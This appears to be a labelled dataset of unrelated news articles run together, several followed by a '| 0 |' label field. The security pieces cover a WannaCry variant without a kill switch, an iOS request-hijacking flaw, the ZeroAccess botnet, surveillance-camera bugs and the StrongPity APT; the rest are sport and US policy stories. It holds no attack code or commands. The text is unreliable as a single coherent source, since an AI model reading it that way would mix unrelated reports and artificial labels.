WannaCry 2.0, Ransomware With *NO* Kill-Switch Is On Hunt!
CIRCL c/o securitymadein.lu
Initially, this part of story was based on research of a security researcher, who earlier claimed to have the samples of new WannaCry ransomware that comes with no kill-switch function. But for some reason, he backed off. So, we have removed his references from this story for now.
However, shortly after that, we were confirmed by Costin Raiu, the director of global research and analysis team at Kaspersky Labs, that his team had seen more WannaCry samples on Friday that did not have the kill switch.
"I can confirm we've had versions without the kill switch domain connect since yesterday," told The Hacker News.
Updated: WannaCry 2.0 is Someone Else's Work
Raiu from Kaspersky shared some samples, his team discovered, with Suiche, who analysed them and just confirmed that there is a WannaCrypt variant without kill switch, and equipped with SMB exploit that would help it to spread rapidly without disruption.
What's even worse is that the new WannaCry variant without a kill-switch believed to be created by someone else, and not the hackers behind the initial WannaCry ransomware.
"The patched version matt described does attempt to spread. It's a full set which was modified by someone with a hex editor to disable the kill switch," Raiu told me.
Updated: However, Suiche also confirmed that the modified variant with no kill switch is corrupted, but this doesn't mean that other hackers and criminals would not come up with a working one.
"Given the high profile of the original attack, it's going to be no surprise at all to see copycat attacks from others, and perhaps other attempts to infect even more computers from the original WannaCry gang. The message is simple: Patch your computers, harden your defences, run a decent anti-virus, and - for goodness sake - ensure that you have secure backups." Cyber security expert Graham Cluley told The Hacker News.
Expect a new wave of ransomware attack, by initial attackers and new ones, which would be difficult to stop, until and unless all vulnerable systems get patched.
"The next attacks are inevitable, you can simply patch the existing samples with a hex editor and it'll continue to spread," Matthew Hickey, a security expert and co-founder of Hacker House told me.
"We will see a number of variants of this attack over the coming weeks and months so it's important to patch hosts. The worm can be modified to spread other payloads not just WCry and we may see other malware campaigns piggybacking off this samples success."
Even after WannaCry attacks made headlines all over the Internet and Media, there are still hundreds of thousands of unpatched systems out there that are open to the Internet and vulnerable to hacking.
"The worm functionality attempts to infect unpatched Windows machines in the local network. At the same time, it also executes massive scanning on Internet IP addresses to find and infect other vulnerable computers. This activity results in large SMB traffic from the infected host," Microsoft says.
Believe me, the new strain of WannaCry 2.0 malware would not take enough time to take over another hundred of thousand vulnerable systems.
Video Demo of WannaCry Ransomware Infection
Hickey has also provided us two video demonstrations, showing packet traces that confirm the use of Windows SMB vulnerability (MS17-010).
And Second one…
Since WannaCry is a single executable file, it can also be spread through other regular exploit vectors, such as spear phishing, drive-by-download attack, and malicious torrent files download, warned Hickey.
Get Prepared: Upgrade, Patch OS & Disable SMBv1
MalwareTech also warned of the future threat, saying "It's very important [for] everyone [to] understand that all they [the attackers] need to do is change some code and start again. Patch your systems now!"
"Informed NCSC, FBI, etc. I've done as much as I can do currently, it's up to everyone to patch," he added.
As we notified today, Microsoft took an unusual step to protect its customers with an unsupported version of Windows — including Windows XP, Vista, Windows 8, Server 2003 and 2008 — by releasing security patches that fix SMB flaw currently being exploited by the WannaCry ransomware.
Even after this, I believe, many individuals remain unaware of the new patches and many organizations, as well as embedded machines like ATM and digital billboard displays, running on older or unpatched versions of Windows, who are considering to upgrade their operating system, would take time as well as it's going to cost them money for getting new licenses.
So, users and organizations are strongly advised to install available Windows patches as soon as possible, and also consider disabling SMBv1 (follow these steps), to prevent similar future cyber attacks.
For god sake: Apply Patches. Microsoft has been very generous to you.
Almost all antivirus vendors have already been added signatures to protect against this latest threat. Make sure you are using a good antivirus, and keep it always up-to-date.
Moreover, you can also follow some basic security practices I have listed to protect yourself from such malware threats.
WannaCry has Hit Over 200,000 Systems in 150 Countries, Warned Europol
Update: Speaking to Britain's ITV, Europol chief Rob Wainwright said the whole world is facing an "escalating threat," warning people that the numbers are going up and that they should ensure the security of their systems is up to date.
"We are running around 200 global operations against cyber crime each year, but we've never seen anything like this," Wainwright said, as quoted by BBC.
"The latest count is over 200,000 victims in at least 150 countries. Many of those victims will be businesses, including large corporations. The global reach is unprecedented."
Above map is showing the WannaCry ransomware infection in just 24 hours.
This story is still updating, stay tuned to our Twitter page for more up-to-date information.
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Security researchers Adi Sharabani and Yair Amit have disclosed details about a widespread vulnerability in iOS apps, that could allow hackers to force the apps to send and receive data from the hackers' own servers rather than the legitimate ones they were coded to connect to.
Speaking about the issue at RSA Conference Europe 2013 in Amsterdam, researchers have provided details on this vulnerability, which stems from a commonly used approach to URL caching.
Demonstration shows that insecure public networks can also provide stealth access to our iOS apps to potential attackers using HTTP request hijacking methods.
The researchers put together a short video demonstrating, in which they use what is called a 301 directive to redirect the traffic flow from an app to an app maker's server to the attacker's server.
There are two limitations also, that the attacker needs to be physically near the victim for the initial poisoning to perform this attack and the flaw works only against HTTP traffic.
"A victim walks into Starbucks, connects to the Wi-Fi and uses her favorite apps," explains an example. "Everything looks and behaves as normal, however an attacker is sitting at a nearby table and performs a silent HRH attack on her apps. The next day, she wakes up at home and logs in to read the news, but she's now reading the attacker's news!"
They estimate that at least 10,000 iOS apps in the Apple App Store are vulnerable to the hack. As a result, apps that display news, stock quotes, social media content, or even some online banking details can be manipulated to display fraudulent information and intercept data sent by the end user.
Victims can uninstall apps to scrub their devices clean, and Skycure has released app code that prevents the web caching from taking place. It may be a while until developers can get this fix implemented, so connect to those public networks with extreme caution.
Swati Khandelwal - Working at 'The Hacker News'. Social Media Lover and Gadgets Girl. Speaker, Cyber Security Expert and Technical Writer.(Google+ Profile)
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(CNN)A cricket match in New Zealand was suspended when the pitch was invaded by some unusual visitors: a swarm of bees.Canterbury and Wellington were playing a Plunket Shield match at Basin Reserve in Wellington on Sunday when the insects descended.Photos of the incident show players and officials sitting and lying on the ground as the bees fly over the pitch.The swarm interrupted a match between Wellington and Canterbury."BEE-careful! 🐝 A swarm of bees popped in at the Cello @BasinReserve for a closer look at today's #PlunketShield action between @cricketwgtninc & @CanterburyCrick!," reads a tweet from the Black Caps, the country's national cricket team.The incident occurred during day two of the four-day match, with play continuing on Monday.Read MoreCanterbury ended Sunday 269 runs ahead, with six wickets in hand.A swarm of bees interrupts a Cricket World Cup matchBees have previously disrupted cricket matches in the UK and South Africa.In June 2019, a swarm of bees interrupted a Cricket World Cup match between Sri Lanka and South Africa in Durham, England, and a similar incident occurred when the two teams faced each other in Johannesburg, South Africa, two years earlier.In July, a man died and at least five people were injured after a bee swarm attack in Arizona. | 0 |
Story highlightsWilliams the subject of a topiary display at the Chelsea Flower Show"The Williams Story" features a life-size topiary Formula One car and pit crewThe display has been awarded the annual horticultural event's prestigious gold medalWilliams have thanked other F1 teams for their help following garage fire in SpainThe floral, serene surrounds of London's Chelsea Flower Show seem a million miles from the screeching, full-throttle action of Formula One.But the two worlds have merged in a unique and award-winning way thanks to the Williams F1 team and a British tree nursery."The Williams Story" is a topiary display which depicts the history of the nine-time constructors' champions, from their origins in 1977 to Pastor Maldonado's historic victory at the Spanish Grand Prix earlier this month.And, in keeping with the green shoots of recovery which were visible during Williams' first race win in eight years, the piece features a life-sized topiary Formula One car.The eye-catching display, which also boasts a pit crew sculpted from living trees, has been handed a gold medal at the prestigious annual British horticultural event.JUST WATCHEDForce India travel to MonacoReplayMore Videos ...MUST WATCHForce India travel to Monaco 03:27JUST WATCHEDThe magic of the Monaco Grand PrixReplayMore Videos ...MUST WATCHThe magic of the Monaco Grand Prix 04:02JUST WATCHEDF1 legends describe challenges of MonacoReplayMore Videos ...MUST WATCHF1 legends describe challenges of Monaco 02:31JUST WATCHEDA virtual tour of the Monaco Grand PrixReplayMore Videos ...MUST WATCHA virtual tour of the Monaco Grand Prix 02:13"Winning the gold medal is a fantastic achievement," Williams founder and team principal Frank Williams said. "I saw it for the first time (this week) and was taken aback by its scale and attention to detail. "The Chelsea Flower Show is a uniquely British occasion and to be successful at this illustrious event is a great honor. I hope the public enjoy the display as much as the judges."The topiary took over three years to complete and was sculpted using a fast-growing plant native to south-west China.The honor provides Williams with a timely boost ahead of this weekend's Monaco Grand Prix, with the team looking to build on Maldonado's win -- the first by a Venezuelan in the history of the sport.Williams' celebrations were cut short by a fire in the team garage, a blaze which left seven people in hospital.The incident also resulted in Williams losing vital parts and equipment, but the team's chief operations engineer Mark Gillan moved to thank the other F1 manufacturers for the support they have shown."The team's preparations for Monaco have been somewhat hampered by last Sunday's garage fire," Gillan said on the official F1 website."But the impact of the fire has been mitigated by what can only be described as a Herculean effort by the factory and our suppliers to restock both the damaged equipment and car parts."We would also like to thank the generous offers of help from the other teams, highlighting once more the excellent sportsmanship that exists in Formula One and high levels of camaraderie throughout the pit lane." | 0 |
Microsoft today announced that its Digital Crimes Unit (a center of excellence for advancing the global fight against cybercrime) has successfully disrupted the ZeroAccess botnet, one of the world's largest and most rampant botnet
.The Botnet is "disrupted," not "fully destroyed", Microsoft itself admits that "do not expect to fully eliminate the ZeroAccess botnet due to the complexity of the threat." This is the Microsoft's 8th botnet takedown operation in the past three years.
With the help of U.S. Federal Bureau of Investigation (FBI) and Europol's European Cybercrime Centre (EC3), Microsoft led to the seizure of servers that had been distributing malware which has infected nearly 2 million computers all over the world, and with that, ZeroAccess botnet's masters are earning more than $2.7 million every month.
ZeroAccess was first identified in 2011 by Symanetc, being used for click fraud, the malware can also be used to illicitly mine the virtual currency known as Bitcoin.
The Sirefef botnet, also called ZeroAccess, uses a peer-to-peer infrastructure to allow hackers to target search engine results on Google, Bing and Yahoo, and downloading malicious malware onto infected systems.
Microsoft took over control of 49 domains associated with the ZeroAccess botnet.
"Due to Germany's initiative Europol's European Cybercrime Centre (EC3) coordinated a multi-jurisdictional criminal action targeting 18 IP addresses located in Europe,"
The majority of computers infected with it are located in the US and Western Europe.
"If the hacker community has not yet taken notice, today's disruption of the ZeroAccess botnet is another example of the power of public-private partnerships,"
If you're concerned that your computer (or your parents' or friend's computer) might be infected, check out Microsoft's botnet page for tips on dealing with the situation.
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Story highlightsESports is a revolution which has redefined gamingArguably paved the way for the future of broadcast sportsGlobal revenue expected to smash $1 billion by 2019 Global community of 148 million enthusiasts (CNN)Jens Hilgers is a geek, it's how he describes himself both in person and on the bio of his LinkedIn page -- "entrepreneur, geek, gamer, tree hugger."He's always enjoyed gaming and as he watched soccer fans lining up to watch Bundesliga games in his native Germany, he believed that one day people would do the same to cheer on people playing video games. JUST WATCHEDWelcome to the World of eSportsReplayMore Videos ...MUST WATCHWelcome to the World of eSports 03:52Given that was around 15 years ago, it was some vision. "In the late 1990s, it felt like Woodstock," Hilgers told CNN recently, referring to the music festival which defined the 1960s sex, drugs, rock 'n roll culture. "Lots of people connecting their computers with copper cables to hold LAN parties."Read MoreThose local area network (LAN) parties were a labor of love, often taking as much time to set up as the games actually took to play. "The players were striving to become the star of their game, the spectators were enjoying beautiful entertainment, cheering for their favorite players and teams." It was far from perfect, but it was a start; for the next 15 years, these early pioneers had many experiments and "obstacles in every single aspect." In time though, it would be worth it. Financial losses; virtual gainsMeanwhile in the U.S., Marcus Graham was also doing things the hard way.Technically he was a professional video games player -- known as djWHEAT -- at these LAN parties, but it was hard work, especially financially."We'd travel 1200 miles to play in a tournament, it would cost us $1500 to get there and we'd win $800. Even when we were winning, we were losing money."As the turn of the century approached, Graham found a way to diversify his talents, experimenting with coaching other players and then primitive broadcasting as a "shoutcaster."JUST WATCHEDBehind the scenes with an ELEAGUE shoutcaster ReplayMore Videos ...MUST WATCHBehind the scenes with an ELEAGUE shoutcaster 03:14As he called his first game on a live stream, his audience numbered just eight people, but the experience was intoxicating. By 2002, when he traveled to Korea to cover the World Cyber Games, he was hooked for life. The only constant is changeFor Graham and Hilgers, things have changed considerably since then.Graham is known globally as one of the voices of eSports, working for the billion-dollar Twitch organization, and Hilgers is one of industry's top business minds. So, just how did we get to a point where entrepreneurs are tripping over themselves to invest hundreds of millions of dollars and players are becoming world-famous millionaires? Y2K and the advent of high-speed internet technology was crucial, but Hilgers can identify three critical factors that changed the game forever. Firstly, the gaming industry had to be turned upside down. The old-school business model was a simple one-off transaction between consumer and developer; for about $50 you'd purchase a new title, master it within a few months and move on to something else.The game was there to be beaten and that was it -- no long-term investment for either party.New generationThe new generation of games were more of a service than a product. Free-to-play at first, a longer shelf-life meant developers could profit in the long run through in-game micro transactions. These were real-time strategy team-games and they could never be mastered; so a community grew around them with narratives formed and legends born. The next big turning point came with the launch of Twitch in 2011, a live streaming service that enabled anyone to share their own gaming experience with the masses. Tournaments now had a reliable, efficient and high definition distribution network, while teams and players had an opportunity to engage directly with their fans and build a brand. ELEAGUE starts tomorrow. Get hyped. pic.twitter.com/UmlX5dHlLA— ELEAGUE (@EL) May 23, 2016
With the young millennials eschewing traditional forms of media entertainment and therefore eluding the advertisers, Amazon saw the potential and snapped Twitch up for almost a billion dollars in 2014.Almost everything was now in place, but Hilgers knew there was still one last tipping point."We needed an audience for which eSports was natural, not alien. An audience of millennials that would grow up with computer games and accept eSports as a part of our culture."It would seem that we're at that point now. Anyone who might have sneered at gamers playing in their parents' basement with the curtains drawn are now being forced into a major rethink.The numbers are incredible. The eSports industry has been experiencing double digit growth for several years and according to the research group Newzoo, it boasts a global community of 148 million enthusiasts. That number is projected to hit 215 million by 2019. Just one game -- "League of Legends" -- drew an audience of 36 million for its World Championship last year, that's more viewers than the NBA Finals. According to Newzoo, global revenue in the eSports industry rose from $194 million to $463 million in the same period -- a 239% increase -- and is expected to smash $1 billion by 2019. Even first-person shooter games like "Counter-Strike : Global Offensive" have boomed, despite the visceral depiction of brutal violence.Worldwide ScopeThe excitement isn't just confined to Korea, where eSports is already ubiquitous. American broadcasters like ESPN and Turner are now presenting games to their television audiences.Players are making seven figure salaries and are celebrated like rock stars.Tournaments are played-out in arenas packed with tens of thousands of fans. You can even go to college on an eSports scholarship.What began as a hobby for pioneers like Hilgers and Graham has now become a lucrative profession. ESports is a revolution which has redefined gaming, helped shape what it means to be a millennial and quite possibly paved the way for the future of broadcast sports and entertainment. And the most exciting thing is that nobody quite knows what the future holds, but the passion is real and the numbers are staggering; eSports is very much here to stay. JUST WATCHEDAmerica's next athletes? ReplayMore Videos ...MUST WATCHAmerica's next athletes? 03:21 | 0 |
Story highlightsIan Poulter, Paul Casey, Sergio Garcia, Henrik Stenson picked for Europe Tiger Woods, Phil Mickelson, Bryson DeChambeau US picksRyder Cup set for Le Golf National, Paris from Sept.28 (CNN)Europe's Ryder Cup talisman Ian Poulter received a wildcard to make his sixth appearance in the biennial competition against the United States in Paris later this month.The Englishman was one of captain Thomas Bjorn's four picks, alongside countryman Paul Casey, Spain's Sergio Garcia and Swede Henrik Stenson, for the event at Le Golf National.Follow @cnnsport
The quartet join the eight players who qualified automatically for Bjorn's team -- Tommy Fleetwood, Tyrrell Hatton, Rory McIlroy, Francesco Molinari, Alex Noren, Thorbjorn Olesen, Jon Rahm and Justin Rose.And the four wildcards are...#TeamEurope pic.twitter.com/gCNP4RcpVB— Ryder Cup Europe (@RyderCupEurope) September 5, 2018
"These four bring so much to the Ryder Cup -- loads of experience, loads of appearances, loads of points won and they know what it's like to win and lose and they'll come in with so much heart and soul," said Denmark's Bjorn as he announced his picks. He added: "We know what we're up against, we know what the US will bring but I'm confident we can do a good job."Read MoreEurope has won six of the last eight Ryder Cups, but USA is the defending champion after victory at Hazeltine in 2016.The US has not won a Ryder Cup on European soil since Tom Watson's team triumphed at The Belfry in England in 1993. READ: Tiger Woods handed US Ryder Cup wildcardJUST WATCHEDRyder Cup: Europe's journey back to victoryReplayMore Videos ...MUST WATCHRyder Cup: Europe's journey back to victory 22:26'Goosebumps' The 42-year-old Poulter has played on four winning Ryder Cup teams and was a vice-captain two years ago after his season was curtailed by injury.Poulter's Ryder Cup exploits have earned him the nickname "The Postman" -- because "the postman always delivers" -- and his inspired play at Medinah in Chicago in 2012 set in train Europe's remarkable comeback victory.Poulter birdied his closing five holes in the Saturday afternoon's final fourball match alongside Rory McIlroy to earn Europe a vital point and drag it back to 10-6 down heading into the Sunday singles.Europe's subsequent triumph became known as the "Miracle at Medinah." Poulter, who has won 12 of his 18 matches and halved two, has been in good form this season with a victory on the PGA Tour in Houston and three other top-10 finishes."This feels extra special to be part of another Ryder Cup team," Poulter told Sky Sports. "For Thomas to give me the call means absolutely everything to me. It's going to be an incredible spectacle, it's going to be an extra-strong US team but when you look at the European team on paper I'm getting goosebumps. I can't wait."Spain's Sergio Garcia has been described as the "heartbeat" of the European team.'Amazing team'Garcia will make his ninth appearance despite a disappointing season in which he missed the cut in all four majors. The 38-year-old, who won the Masters for his first major title in 2017, earned his spot on the back of an impressive Ryder Cup pedigree. "The one thing about Sergio is he is the heartbeat of the team," Bjorn told Sky. "It's like a football team going without their captain. Not only is he a fantastic golfer but what he also brings is that he makes everybody around him better. He is what the European Ryder Cup is all about."Casey, 41, will make his fourth appearance but first since 2008 after recommitting himself to playing sufficient events on the European Tour to be eligible, while former Open champion Stenson will also be playing in his fourth Ryder Cup."I've put a lot into this, it's tough to explain," Casey told Sky. "It's an amazing team and I'm very honored. I'm so excited."JUST WATCHEDThomas Bjorn's perfect day? GNR and ginReplayMore Videos ...MUST WATCHThomas Bjorn's perfect day? GNR and gin 02:05 On Tuesday, US captain Jim Furyk named Tiger Woods, Phil Mickelson and Bryson DeChambeau as three of his four wildcards for the French showdown.Already qualified for the US team were Rickie Fowler, Dustin Johnson, Brooks Koepka, Patrick Reed, Webb Simpson, Jordan Spieth, Justin Thomas and Bubba Watson.Furyk will name his final wildcard Monday. A number of players, including Tony Finau, Kevin Kisner and Xander Schauffele, are in the running.Europe has five rookies on its team -- Fleetwood, Hatton, Noren, Olesen, and Rahm -- compared with two, former world No.1 Thomas and DeChambeau, so far for the USA.Visit CNN.com/golf for more news, features and videos The Ryder Cup is set to begin at Le Golf National in France on September 28. | 0 |
(CNN)Spanish club Villarreal can expect a fiery welcome when they visit Zenit St. Petersburg in the next round of the Europa League -- if the Russian side's last fixture is anything to go by. Zenit fans gave their team an impressively choreographed pyrotechnic guard of honor ahead of its must-win round-of-32 tie Thursday. Visit CNN.com/Sport for more news, features and videoScores of supporters lined the entire road to the Gazprom Arena in St. Petersburg and let off flares as the team bus approached the stadium.The spectacularly warm welcome seemed to do the trick. Read MoreZenit overturned a 1-0 deficit from the first-leg to beat Fenerbahce 3-1 on the night and progress to the next round. Zenit St. Petersburg's players celebrate after round-of-32 win. READ: Chelsea handed transfer ban by FIFAVillarreal discovered its fiery fate as the draw for the round of 16 fixtures was announced Friday. Five-time Europa League champion Sevilla will play Czech outfit Slavia Prague, while Chelsea face a tough visit to Ukraine in their tie against Dynamo Kiev.Unai Emery's Arsenal -- which overturned a first-leg deficit in the last round against BATE Borisov -- have a favorable tie against Ligue 1 Rennes. The Spaniard is a Europa League expert, winning three consecutive titles with his former side Sevilla. The Gunners will be without striker Alexandre Lacazette, who has been banned for three matches following a direct red card in the round-of-32 first leg against BATE Borisov.The Frenchman has already served one match but will miss both legs of the tie against Rennes. READ: 'It's Pele' -- Arsene Wenger recalls seeing Kylian Mbappe play for first timeElsewhere, Italian side Napoli will face RB Salzburg and three-time champion Inter Milan take on Frankfurt.The next round of fixtures will be played on March 7 with the return legs scheduled for the week after. | 0 |
Story highlightsScottish golfer Scott Jamieson leads Volvo Golf Champions tournament by five shotsHis second European Tour win would give him a debut at World Golf Championships eventFormer British Open champion Louis Oosthuizen tied for second at FancourtFellow major winners Padraig Harrington, Paul Lawrie and Ernie Els also in contentionScott Jamieson knows all about struggling in golf's lower echelons, but the Scotsman has been living the dream in the past month.He won his first European Tour event at the rain-shortened Nelson Mandela Championship in December, earning a place at another South African tournament -- this week's Volvo Golf Champions.The 29-year-old will take a five-shot lead into Sunday's final round at Durban Country Club, knowing that even greater opportunities await if he can hold off the likes of major champions Louis Oosthuizen, Padraig Harrington, Paul Lawrie and Ernie Els.Another victory will earn him a place at next month's Accenture Match Play in Arizona, which would be his debut appearance in a World Golf Championships event.Read: Oosthuizen digs out a lead in DurbanHaving started this week at a career-high 100th in the world rankings, it would also push him closer to the top 50 and his first outing at the Masters in Augusta in April.It's a far cry from his early days as a professional, slogging around minor circuits before finally making the step up to the European Tour in 2011, making the top 60 on the money list in his first two seasons.JUST WATCHEDBranden Grace on remarkable winsReplayMore Videos ...MUST WATCHBranden Grace on remarkable wins 06:41JUST WATCHEDExpert: How to improve your puttingReplayMore Videos ...MUST WATCHExpert: How to improve your putting 05:05JUST WATCHEDThe rise of South Africa's black golfersReplayMore Videos ...MUST WATCHThe rise of South Africa's black golfers 08:44 Photos: PGA Tour's 2013 opener hit by winds Photos: PGA Tour's 2013 opener hit by windsJoy for Johnson – Dustin Johnson won the Tournament of Champions in Hawaii after finishing 16-under-par at the reduced three-round event on Monday. Play was abandoned the previous three days due to high winds.Hide Caption 1 of 6 Photos: PGA Tour's 2013 opener hit by windsBlowing Bubba – Masters champion Bubba Watson pretends to tee off as his caddy Ted Scott holds a finger on the ball to keep it from blowing away during Sunday's delayed opening round of the Tournament of Champions.Hide Caption 2 of 6 Photos: PGA Tour's 2013 opener hit by windsBeljan's battle – Charlie Beljan leans into the wind after taking a rehit on a tee shot on Sunday, when play was called off for the third day in a row in the PGA Tour's season-opening event. Hide Caption 3 of 6 Photos: PGA Tour's 2013 opener hit by windsWind up – Winds reached almost 50 miles per hour at the Plantation Course in Kapalua, Hawaii.Hide Caption 4 of 6 Photos: PGA Tour's 2013 opener hit by windsA long weekend – Scott Stallings shields himself from the wind and rain as he attempts to putt on the second hole green on Friday.Hide Caption 5 of 6 Photos: PGA Tour's 2013 opener hit by windsTuesday finish – The $5.7 million tournament, which features 30 winners from the 2012 season, has been put back to a Tuesday finish with only 54 of the 72 holes potentially to be played.Hide Caption 6 of 6"I was just in the abyss, so I guess slumming around in the lower leagues helps build your character," said Jamieson, who was an amateur at Augusta State University before turning pro in 2006."I was fortunate to keep playing when money was not necessarily being chucked at me."On Saturday he carded a four-under-par 68 to move clear of 2010 British Open champion Louis Ooosthuizen (74), Thailand's Thongchai Jaidee (73) and France's world No. 187 Julian Quesne (67)."It was another great day. I didn't play as well as I did the first two days, especially tee-to-green, but managed to score well and that's the main thing," Jamieson said.Read : Colsaerts' driving length stuns rivalsThat chasing trio ended the day tied for second on 10-under 206, two shots clear of three-time major winner Harrington (67) and Ryder Cup winner Francesco Molinari (68).Jamieson's compatriot Lawrie, the 1999 British Open winner, was tied for seventh on 209 with Ireland's Shane Lowry and Englishman Danny Willett after all carded 70.Els, the current holder of the coveted Claret Jug, was tied for 11th on 211 in a group also including defending champion and fellow South African Branden Grace.Meanwhile, rookie Russel Henley took a two-shot lead at the halfway stage of the PGA Tour's Sony Open in Hawaii.The 23-year-old shot his second successive seven-under 63 on Friday to move ahead of fellow Americans Scott Langley (66) and Scott Piercy (64) at the $5.6 million tournament in Honolulu.Henley's playing partner Langley, also making his debut on the U.S. circuit, had led after a first-round 62.Dustin Johnson, who won the wind-hit season-opening Tournament of Champions at Kapalua on Tuesday, pulled out after nine holes of his second round due to illness. | 0 |
(CNN)President Joe Biden on Thursday signed into law sweeping workplace reforms designed to free victims of sexual harassment and sexual assault to seek justice in court, flanked by one of the most prominent advocates for the effort and the bipartisan lawmakers who drove the bill through Congress. Gretchen Carlson, the former Fox anchor who has worked to ban arbitration clauses since she sued Roger Ailes, then the network's CEO, for sexual harassment, attended Thursday's signing ceremony. Carlson was joined by four survivors who testified on Capitol Hill in support of the bill, as well as the four lawmakers who helped shepherd the bill to passage in the House and Senate.The legislation ends the use of forced arbitration clauses specifically for sexual harassment and sexual assault claims, allowing victims the option of bringing up the dispute in federal, tribal or state court. It will also apply retroactively to previously resolved cases unless the cases are pending. "When it comes to sexual harassment and assault, forced arbitration shielded perpetrators, silenced survivors, enabled employers to sweep episodes of sexual assault harassment under the rug and it kept survivors from knowing if others have experienced the same thing in the same workplace, at the hands of the same person," Biden said before signing the bill.He also acknowledged that "there will be cases where victims want their claims resolved in private, but some survivors will want their day in court and that should be their choice and nobody else's choice." Read MoreMore than 60 million workers are subject to mandatory arbitration clauses in the workplace, according to a White House official, often without realizing it until they come forward to bring a claim against their employer.What the workplace harassment law reform will mean for youMandatory arbitration clauses have long been a standard workplace practice, included in millions of employment contracts. The clause limits the legal options for employees who are victims of sexual harassment and sexual assault and makes it difficult to hold companies and employers accountable for wrongdoing. Arbitration can be very costly, which also places a large burden on workers, and it does not allow for the option of an appeal.In remarks preceding the President at the signing ceremony, Carlson said, "A lot of good will come from this law change," adding that she believes it "will have a dual effect." "It's going to help companies get on the right side of history and be more transparent. But I believe it's also going to stop the bad behavior, because now everyone will know that women's voices can be heard," she continued. Sens. Kirsten Gillibrand, a New York Democrat, and Lindsey Graham, a South Carolina Republican, attended the bill signing. The bipartisan duo co-sponsored the Senate version of the bill. They were joined by their House counterparts, Reps. Cheri Bustos, an Illinois Democrat, and Morgan Griffith, a Virginia Republican. Biden -- who was once close with Graham before their relationship frayed during the 2020 presidential campaign -- took a dig at Graham while acknowledging lawmakers in attendance."By the way, Lindsey used to be a really close friend," Biden said after casting a sideways glance at the South Carolina Republican. "I'm gonna work on it again."Vice President Kamala Harris, Attorney General Merrick Garland and Secretary of Labor Marty Walsh were also in attendance. For Biden, the signing marks a significant bipartisan legislative achievement and the delivery on one piece of his campaign pledge to ban employers from requiring employees to enter arbitration agreements. The White House is continuing to push for broader legislation to expand the crackdown on other forced arbitration matters beyond sexual assault and sexual harassment, including arbitration of claims regarding discrimination on the basis of race, wage theft, and unfair labor practices, the official said. During Tuesday's State of the Union address, Biden called on Congress to pass the Protecting the Right to Organize Act, or PRO Act. Among its provisions, the PRO Act would limit employers' ability to require their workers to engage in arbitration agreements. At Thursday's bill signing, the President reiterated his call for Congress to pass legislation to stop forced arbitration in all types of employment disputes, saying, "I think it's all wrong, and they should be banned." For Carlson and other advocates, the signing of the bill into law marked the culmination of years of work sparked amid the rise of the #MeToo movement. It shined a light on these types of legal provisions in employment contracts, which prevent victims from being able to sue their perpetrators in court, instead confining them to often-secretive, costly proceedings that many say are biased toward employers.Lawmakers in both chambers of Congress have worked for more than four years to pass this significant measure overhauling the nation's laws regarding the rights of sexual harassment and assault victims. CNN's Sam Fossum contributed to this report. | 0 |
A former NSA software developer is saying he has identified how major camera systems used by industrial plants, prisons, banks and the military could be hacked to freeze a frame and would allow hackers to spy on facilities or gain access to sensitive computer networks.
Craig Heffner, that there were zero day vulnerabilities in digital video surveillance equipment from firms, including Cisco Systems, D-Link and TRENDnet. He has discovered hundreds of thousands of surveillance cameras that can be accessed via the public Internet.
"Somebody could potentially access a camera and view it. Or they could also use it as a pivot point, an initial foothold, to get into the network and start attacking internal systems." Heffner said.
Wrost thing, probably NSA is also aware of these vulnerabilities. They could use it as a pivot point, an initial foothold, to get into the network and start attacking internal systems.
He said he doesn't plan on revealing the vulnerabilities to the companies ahead of the conference, but all the companies have expressed that they'll stay tuned to make any necessary fixes.
He plans to demonstrate techniques for exploiting these bugs at the Hacking conference, in July. He can freeze a picture on a surveillance camera to help thieves break into facilities without detection.
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Cybersecurity researchers today uncovered new details of watering hole attacks against the Kurdish community in Syria and Turkey for surveillance and intelligence exfiltration purposes.
The advanced persistent threat behind the operation, called StrongPity, has retooled with new tactics to control compromised machines, cybersecurity firm Bitdefender said in a report shared with The Hacker News.
"Using watering hole tactics to selectively infect victims and deploying a three-tier C&C infrastructure to thwart forensic investigations, the APT group leveraged Trojanized popular tools, such as archivers, file recovery applications, remote connections applications, utilities, and even security software, to cover a wide range of options that targeted victims might be seeking," the researchers said.
With the timestamps of the analyzed malware samples used in the campaign coinciding with the Turkish offensive into north-eastern Syria (codenamed Operation Peace Spring) last October, Bitdefender said the attacks could have been politically motivated.
Using Tainted Installers to Drop Malware
StrongPity (or Promethium) was first publicly reported on in October 2016 after attacks against users in Belgium and Italy that used watering holes to deliver malicious versions of WinRAR and TrueCrypt file encryption software.
Since then, the APT has been linked to a 2018 operation that abused Türk Telekom's network to redirect hundreds of users in Turkey and Syria to malicious StrongPity versions of authentic software.
Thus when the targeted users attempt to download a legitimate application on the official website, a watering hole attack or an HTTP redirect is carried out to compromise the systems.
Last July, AT&T Alien Labs found evidence of a fresh spyware campaign that exploited trojanized versions of WinBox router management software and WinRAR file archiver to install StrongPity and communicate with the adversary infrastructure.
The new attack method identified by Bitdefender remains the same: target victims in Turkey and Syria using predefined IP list by leveraging tampered installers — including McAfee Security Scan Plus, Recuva, TeamViewer, WhatsApp, and Piriform's CCleaner — hosted on localized software aggregates and sharers.
"Interestingly, all files investigated pertaining to the tainted applications appear to have been compiled from Monday to Friday, during normal 9 to 6 UTC+2 working hours," the researchers said. "This strengthens the idea that StrongPity could be a sponsored and organized developer team paid to deliver certain 'projects.'"
Once the malware dropper is downloaded and executed, the backdoor is installed, which establishes communication with a command and control server for document exfiltration and for retrieving commands to be executed.
It also deploys a "File Searcher" component on the victim's machine that loops through every drive and looks for files with specific extensions (e.g., Microsoft Office documents) to be exfiltrated in the form of a ZIP archive.
This ZIP file is then split into multiple hidden ".sft" encrypted files, sent to the C&C server, and ultimately deleted from the disk to cover any tracks of the exfiltration.
Expanding Beyond Syria and Turkey
Although Syria and Turkey may be their recurring targets, the threat actor behind StrongPity appears to be expanding their victimology to infect users in Colombia, India, Canada, and Vietnam using tainted versions of Firefox, VPNpro, DriverPack, and 5kPlayer.
Calling it StrongPity3, Cisco Talos researchers yesterday described an evolving malware toolkit that employs a module called "winprint32.exe" to launch the document search and transmit the collected files. What's more, the fake Firefox installer also checks if either ESET or BitDefender antivirus software is installed before dropping the malware.
"These characteristics can be interpreted as signs that this threat actor could in fact be part of an enterprise service for hire operation," the researchers said. "We believe this has hallmarks a professionally packaged solution due to the similarity of each piece of malware being extremely similar but used across different targets with minor changes."
